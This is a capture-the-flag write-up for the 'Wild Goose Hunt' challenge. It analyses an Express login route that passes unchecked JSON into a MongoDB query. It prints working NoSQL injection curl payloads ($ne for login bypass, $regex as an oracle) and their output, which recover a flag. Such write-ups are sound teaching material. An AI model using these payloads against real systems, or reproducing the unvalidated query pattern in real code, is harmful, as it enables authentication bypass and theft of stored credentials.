Wild Goose Hunt
3 minutes to read
We are given this website:
We are also given the source code of the project in Node.js (Express).
Source code analysis
This is index.js
:
const express = require('express');
const app = express();
const bodyParser = require('body-parser');
const routes = require('./routes');
const mongoose = require('mongoose');
mongoose.connect('mongodb://localhost:27017/heros', { useNewUrlParser: true , useUnifiedTopology: true });
app.use(bodyParser.json());
app.use(bodyParser.urlencoded({
extended: true
}));
app.use(express.static('static'));
app.set('view engine', 'pug');
app.use(routes);
app.all('*', (req, res) => {
return res.status(404).send({
message: '404 page not found'
});
});
app.listen(1337, () => console.log('Listening on port 1337'));
Here we see that the server uses MongoDB for the database using mongoose
as Object-Document Mapper (ODM). Its version is 5.10.10, according to package.json
:
{
"name": "heros",
"version": "1.0.0",
"description": "",
"main": "index.js",
"scripts": {
"start": "node index.js"
},
"keywords": [],
"author": "TRX",
"license": "ISC",
"dependencies": {
"body-parser": "^1.19.0",
"express": "^4.17.1",
"mongoose": "^5.10.10",
"pug": "^2.0.4"
},
"devDependencies": {
"nodemon": "^1.19.1"
}
}
Although there are vulnerabilities that match this version, they are not exploitable (more information at security.snyk.io).
The available endpoints are in routes/index.js
:
const express = require('express');
const router = express.Router();
const User = require('../models/User');
router.get('/', (req, res) => {
return res.render('index');
});
router.post('/api/login', (req, res) => {
let { username, password } = req.body;
if (username && password) {
return User.find({
username,
password
})
.then((user) => {
if (user.length == 1) {
return res.json({logged: 1, message: `Login Successful, welcome back ${user[0].username}.` });
} else {
return res.json({logged: 0, message: 'Login Failed'});
}
})
.catch(() => res.json({ message: 'Something went wrong'}) );
}
return res.json({ message: 'Invalid username or password'});
});
module.exports = router;
As can be seen, the server takes our input from the request body and uses it to query the database using User
as a model:
const mongoose = require('mongoose');
const Schema = mongoose.Schema;
let User = new Schema({
username: {
type: String
},
password: {
type: String
}
}, {
collection: 'users'
});
module.exports = mongoose.model('User', User);
The issue here is that the server does not check that our input is actually a String
…
NoSQL injection
Therefore, we are able to exploit a NoSQL injection using payloads like the ones found in HackTricks.
For instance, we can bypass authentication:
$ curl 94.237.62.195:36829/api/login -d '{"username":{"$ne":"x"},"password":{"$ne":"x"}}' -H 'Content-Type: application/json'
{"logged":1,"message":"Login Successful, welcome back admin."}
However, the objective is to find the flag, which is stored in the database (see entrypoint.sh
):
#!/bin/bash
# Secure entrypoint
chmod 600 /entrypoint.sh
mkdir /tmp/mongodb
# Start mongodb
mongod --noauth --dbpath /tmp/mongodb/ &
# Wait for mongodb
until nc -z localhost 27017; do echo "not up" && sleep 1; done
# Populate mongodb
mongosh heros --eval "db.createCollection('users')"
mongosh heros --eval 'db.users.insert( { username: "admin", password: "HTB{f4k3_fl4g_f0r_t3st1ng}"} )'
# Run services
/usr/bin/supervisord -c /etc/supervisord.conf
Oracle
With NoSQLi, we can also extract information from the database. One nice approach in MongoDB is using $regex
. This time, we have an oracle because when the password matches the RegEx, we will be logged in successfully; and if not, the login will fail:
$ curl 94.237.62.195:36829/api/login -d '{"password":{"$regex":"HTB.*"},"username":"admin"}' -H 'Content-Type: application/json'
{"logged":1,"message":"Login Successful, welcome back admin."}
$ curl 94.237.62.195:36829/api/login -d '{"password":{"$regex":"HTX.*"},"username":"admin"}' -H 'Content-Type: application/json'
{"logged":0,"message":"Login Failed"}
Knowing this, we can write a script to automate the flag extraction. I used Go for this, and improved performance using threads to extract each byte.
Flag
If we run the script, we will capture the flag in a matter of seconds:
$ go run solve.go 94.237.62.195:36829
HTB{th3_4l13ns_h4v3nt_us3d_m0ng0db_I_gu3ss!}
The full script can be found in here: solve.go
.